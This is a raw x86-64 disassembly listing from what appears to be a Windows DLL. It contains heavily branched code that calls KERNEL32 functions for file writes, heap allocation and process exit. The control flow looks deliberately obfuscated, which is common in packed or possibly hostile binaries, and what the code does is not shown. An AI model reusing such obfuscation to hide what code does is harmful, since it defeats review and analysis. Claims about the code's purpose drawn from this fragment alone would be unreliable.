cmp r12b, 0x58
je 0x18000148a
cmp r12b, 0x89
jne 0x180002863
lea rax, [r13 - 0x70]
mov qword [rbp - 0x11], rax
jmp 0x18000289c
cmp r12b, 0x4e
jbe 0x18000289c
cmp r12b, 0x5b
je 0x18000148a
cmp r12b, 0x41
ja 0x18000288f
mov ecx, esi
mov edx, esi
call fcn.180006240
mov esi, eax
mov r13, rax
and esi, 0x273
jmp 0x18000289c
cmp r12b, 0x44
mov eax, 0x37c
cmove rbx, rax
mov esi, esi
mov edi, esi
and edi, 0x186
xor rdi, rbx
cmp r12b, 0x52
jne 0x1800028b8
lea r13, [rbx - 0xc2]
jmp 0x180002914
cmp r12b, 0xc
jae 0x1800028d2
movzx eax, r12b
add rax, 2
and rax, rbx
mov qword [section..data], rax
jmp 0x180002914
cmp r12b, 0x1d
ja 0x1800028ef
movzx r8d, r12b
mov r9, rdi
mov qword [rsp + 0x20], rbx
mov rdx, rbx
mov rcx, rbx
jmp 0x180002e33
cmp r12b, 0x89
jne 0x180002914
lea rax, [rbp + 0x77]
or rcx, 0xffffffffffffffff
lea r9d, [rbx - 0x85]
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x11]
lea rdx, [rbp + 0xf]
call r14
cmp rbx, 3
jne 0x180002943
movabs rax, 0x47ae147ae147ae15
mul r13
mov rax, r13
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
movzx eax, al
imul r12d, eax, 0x70
add r12b, r13b
jmp 0x180002991
cmp rbx, 0x18
jae 0x180002958
movzx edx, r12b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
jmp 0x18000298e
cmp rbx, 8
jae 0x180002971
mov r8, r13
mov edx, ebx
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
jmp 0x180002991
cmp rbx, 0x4f
ja 0x180002999
mov r9, rbx
mov qword [rsp + 0x20], r13
mov r8d, edi
mov rdx, rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsxd r13, eax
xor r14d, r14d
jmp 0x180002b09
mov r14d, 0
cmp rbx, 6
je 0x18000148d
cmp rbx, 0x4a
jae 0x1800029c0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rbx, rax
jmp 0x180002b09
cmp rbx, 7
jae 0x1800029d6
movzx edi, r12b
add rdi, 0x85
jmp 0x180002b09
cmp rbx, 0x59
jb 0x18000148d
cmp rbx, 0x5e
jb 0x18000148d
cmp rbx, 0x11
jne 0x180002a29
movabs rax, 0x172c7052e131589b
mov rcx, rdi
mul rdi
mov rax, rdi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 9
imul rax, rax, 0x3ab
sub rcx, rax
and rcx, rdi
mov qword [0x18002e010], rcx
jmp 0x180002b09
cmp rbx, 0x89
jne 0x180002b09
cmp rdi, 0x2d
jbe 0x180002a54
mov r8d, edi
mov edx, edi
mov rcx, rdi
call fcn.180003298
mov edi, eax
lea r12d, [r13 - 0x70]
jmp 0x180002b09
cmp rdi, 0x61
ja 0x18000148d
cmp rdi, 0x59
je 0x18000148d
cmp rdi, 7
jb 0x18000148d
cmp rdi, 0x21
jbe 0x180002a88
mov qword [section..data], 0x53
jmp 0x180002b09
cmp rdi, 0x2a
jbe 0x180002aac
mov r9d, 0x89
mov qword [rsp + 0x20], r13
mov ecx, r9d
mov r8, r13
mov rdx, rdi
call fcn.180004de0
mov r13, rax
jmp 0x180002b09
cmp rdi, 0x37
je 0x18000148d
cmp rdi, 0x3a
jb 0x180002acb
movzx edx, r12b
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrcatA]
jmp 0x180002b09
cmp rdi, 9
jne 0x180002ae0
cmp r13, 0x80
jne 0x180002b09
mov qword [rbp - 0x49], r15
jmp 0x180002b09
cmp rdi, 0x22
ja 0x18000148d
cmp rdi, 0x36
jbe 0x180002b00
xor edx, edx
lea eax, [rdx + 0x10]
div rsi
xor al, r13b
mov r12b, al
jmp 0x180002b09
test rdi, rdi
je 0x1800031e3
imul rax, rbx, 0x3c0
xor edx, edx
movzx esi, r12b
div rsi
mov r15, rax
cmp rdi, 0x5c
jbe 0x180002b3a
mov r9, rbx
mov r8, rbx
mov edx, eax
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov r13, rax
jmp 0x180002de6
cmp rdi, 0x27
ja 0x18000148d
cmp rdi, 0x16
jbe 0x180002b58
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x18000148d
cmp rdi, 0x31
jne 0x180002b76
mov rax, r13
xor rax, 0x2a6
or rax, rbx
mov qword [section..data], rax
jmp 0x180002de6
cmp rdi, 0x1c
jae 0x18000148d
cmp rdi, 0x41
je 0x18000148d
cmp rdi, 0x21
jbe 0x180002b9e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
jmp 0x180002de6
cmp rdi, 0x51
ja 0x180002b90
cmp rdi, 0x39
jne 0x180002bdd
mov ecx, eax
mov edx, eax
call fcn.180006240
mov rbx, rax
mov rdi, rsi
movabs rax, 0xbc52640bc52640bd
mul rsi
shr rdx, 9
imul rax, rdx, 0x2b8
sub rdi, rax
add rdi, 0x39
jmp 0x180002de6
cmp rdi, 9
jne 0x180002d87
cmp eax, 0x62
jb 0x180002de6
cmp eax, 0x47
ja 0x180002c23
mov r9d, eax
mov r8, rdi
mov edx, eax
mov ecx, eax
mov ebx, eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
xor edx, edx
lea eax, [rdi + 0x29]
div r13
add rbx, 0xfffffffffffffca1
xor rbx, rdx
jmp 0x180002de6
cmp eax, 0x1e
jae 0x180002c32
mov edx, ebx
mov rcx, rsi
jmp 0x18000307a
cmp eax, 0x5e
jae 0x180002c65
mov r8d, eax
mov r9, rbx
mov edx, eax
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
mov r15d, eax
xor edx, edx
mov eax, 0x310
div r15
mov rbx, rax
and rbx, r13
jmp 0x180002de6
cmp eax, 0x3e
ja 0x180002c8c
mov ecx, eax
mov r8d, r13d
mov qword [rsp + 0x30], rcx
mov edx, r13d
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 9
mov r9d, eax
jmp 0x180003112
cmp eax, 0x21
jae 0x180002c9d
imul r13, r13, 0x149
jmp 0x180002de6
cmp eax, 0x64
jb 0x18000148d
cmp eax, 0x2f
je 0x18000148d
cmp eax, 0x36
jae 0x180002cc0
movzx edx, r12b
mov rcx, r13
jmp 0x18000307a
cmp eax, 0x3c0
jne 0x180002de6
cmp r12b, 0x41
je 0x18000148d
cmp r12b, 2
jne 0x180002d00
mov edx, 2
mov r8d, edx
lea ecx, [rdx + 7]
call fcn.180003298
mov r13d, eax
xor edx, edx
mov eax, 0x189
div r13
mov rbx, rdx
jmp 0x180002de6
cmp r12b, 0x4a
jae 0x180002d10
mov edx, ebx
mov rcx, rbx
jmp 0x18000307a
cmp r12b, 0x15
jbe 0x18000148d
cmp r12b, 0x23
jne 0x180002d46
mov r9d, 0x23
mov qword [rsp + 0x20], 9
mov rdx, rbx
lea r8d, [r9 - 0x1a]
mov ecx, r8d
call fcn.180004de0
mov rdi, rax
jmp 0x180002de6
cmp r12b, 0x4b
jb 0x18000148d
cmp r12b, 0x59
jne 0x180002d63
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov ebx, eax
jmp 0x180002de6
cmp r12b, 0x1c
ja 0x180002d73
cmp rdi, 0x20
jb 0x180002dca
movabs rax, 0x107fbbe01107fbbf
mul rsi
mov rax, rsi
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 9
imul rax, rax, 0x3c2
sub rsi, rax
movabs rax, 0x558e5ee9f14b87b
mul rsi
mov rbx, rdx
shr rbx, 3
jmp 0x180002de6
cmp rdi, 0xc
jb 0x180002ddc
xor r13, rdi
or r13, 0x22b
jmp 0x180002de6
cmp rdi, 0x26
jae 0x18000148d
mov r12, qword [rbp - 0x49]
mov r14d, r15d
movabs rax, 0x8b64018b64018b65
mul r14
mov eax, r15d
sub rax, rdx
mov esi, r15d
shr rax, 1
add rax, rdx
shr rax, 9
imul rax, rax, 0x297
sub rsi, rax
and sil, 0xc7
cmp rdi, 0x15
jbe 0x180002e3d
movzx r8d, sil
mov r9, rbx
mov rdx, r13
mov rcx, rdi
mov qword [rsp + 0x20], rdi
call fcn.180004de0
jmp 0x18000148a
cmp rdi, 0x22
jae 0x18000148a
cmp rdi, 9
jne 0x180002eef
cmp r15d, 0x1d
jae 0x180002e9a
mov edx, ebx
mov rcx, rdi
call fcn.180006240
mov sil, al
mov rdi, r14
movabs rax, 0x7d93ef9aa4b45aed
mul r14
mov rax, r14
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 9
imul rax, rax, 0x2af
sub rdi, rax
and rdi, r13
or rdi, 0x2a9
jmp 0x180002eef
cmp r15d, 0x43
jae 0x180002eb5
movzx edx, sil
mov r8d, r13d
movzx ecx, sil
call fcn.180003298
jmp 0x18000148a
cmp r15d, 0x64
jae 0x180002ec8
mov qword [str.m2e], 0x25b
jmp 0x180002eef
cmp r15d, 0x2a
jae 0x180002ed9
call qword [sym.imp.KERNEL32.dll_GetConsoleCP]
jmp 0x18000148a
cmp r15d, 0x3c0
jne 0x180002eef
lea eax, [rbx + 0x4e]
and al, sil
sub al, 0x49
mov byte [r12 + 4], al
movzx r8d, sil
mov ecx, r8d
imul rcx, rdi
add rcx, 0x352
cmp rcx, 0x10
ja 0x180002f1f
xor edx, edx
mov eax, 0x30d
div rcx
imul edx, edi
xor edx, 0x16b
mov r15d, edx
jmp 0x180002f46
cmp rcx, 0x3b
jae 0x180002f35
lea rax, [r14 + 0x137]
mov qword [0x18002e018], rax
jmp 0x180002f46
cmp rcx, 0x35b
jne 0x180002f46
lea eax, [rdi - 0xa]
mov byte [r12 + 0xd], al
cmp rbx, 0x49
je 0x180002f93
cmp rbx, 0x2d
jae 0x180002f6a
mov r9, rdi
mov qword [rsp + 0x20], rdi
mov rdx, rbx
mov rcx, rdi
call fcn.180004de0
mov sil, al
jmp 0x180002f93
cmp rbx, 0x3f
jae 0x180002f81
mov rax, rbx
and eax, 0x201
mov qword [section..data], rax
jmp 0x180002f93
cmp rbx, 0x89
jne 0x180002f93
lea eax, [r15 + 0x20]
mov byte [r12 + 0xe], al
mov ecx, r15d
lea rax, [rcx + 0x208]
xor rax, 0x1da
or rax, rcx
cmp rbx, 0x31
ja 0x180002fc7
movzx ecx, sil
mov edx, ebx
call fcn.180006240
mov ecx, eax
xor edx, edx
mov rax, rbx
div rcx
lea r15d, [rax + 3]
jmp 0x180002ffe
cmp rbx, 5
jne 0x18000305f
movzx ecx, sil
movabs rax, 0x4bd3edda68fe0e43
mul rcx
mov eax, ecx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 8
imul rax, rax, 0x18b
sub rcx, rax
mov sil, cl
xor r14d, r14d
xor edx, edx
mov ecx, r15d
mov eax, 0x323
div rcx
xor edx, edx
div rcx
cmp rax, 1
je 0x180003277
cmp rax, 0x27
ja 0x18000148d
mov r14d, 0
cmp rbx, 0x15
je 0x18000148d
cmp rbx, 3
jne 0x180003084
mov edx, ebx
mov rcx, rax
call fcn.180006240
jmp 0x18000148d
cmp rbx, 0x16
jae 0x18000309f
mov r9, rcx
movzx edx, sil
mov rcx, rdi
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x1800030ea
cmp rbx, 0x3c
jae 0x1800030b4
movzx edx, sil
mov r8, rdi
mov rcx, rdi
jmp 0x18000318b
cmp rbx, 0x24
je 0x18000148d
cmp rbx, 0x3e
jae 0x1800030d3
mov r8d, eax
mov edx, eax
mov rcx, rdi
call fcn.180003298
jmp 0x1800030ea
mov r8d, 0x1b
cmp rbx, r8
jne 0x1800030f2
mov edx, r8d
mov ecx, r8d
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov sil, al
jmp 0x180003001
cmp rbx, 0x2c
ja 0x18000311d
mov qword [rsp + 0x30], rdi
mov edx, ebx
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], edi
movzx r9d, sil
movzx r8d, sil
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x18000148d
cmp rbx, 0x51
jae 0x180003134
movzx edx, sil
mov rcx, rax
call fcn.180006240
jmp 0x180003001
cmp rbx, 0x89
jne 0x180003162
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x18000148d
mov r9, rax
mov qword [rsp + 0x20], rdi
call fcn.180004de0
jmp 0x18000148d
movzx ecx, r12b
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x89
call qword [sym.imp.KERNEL32.dll_ExitProcess]
movzx edx, sil
mov rcx, rdi
mov r8d, edx
call fcn.180003298
jmp 0x180003210
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_ExitProcess]